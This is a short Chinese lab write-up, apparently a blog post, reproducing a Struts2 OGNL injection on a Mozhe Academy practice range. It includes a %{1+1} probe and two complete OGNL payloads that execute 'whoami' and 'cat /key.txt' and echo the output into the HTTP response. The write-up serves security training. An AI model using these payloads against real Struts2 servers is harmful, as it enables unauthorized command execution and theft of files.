提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
为了加深对struts漏洞的理解,记录下复现struts漏洞的过程.
在这里使用墨者学院的靶场进行复现
在表格中输入%{1+1}看返回结果是否为2 返回结果都为2,证明账户和密码表格处都存在这个漏洞
输入以下代码进行命令执行
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }显示结果成功执行命令 接下来执行命令cat /key.txt获取key值,提交墨者学院 payload为
%{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }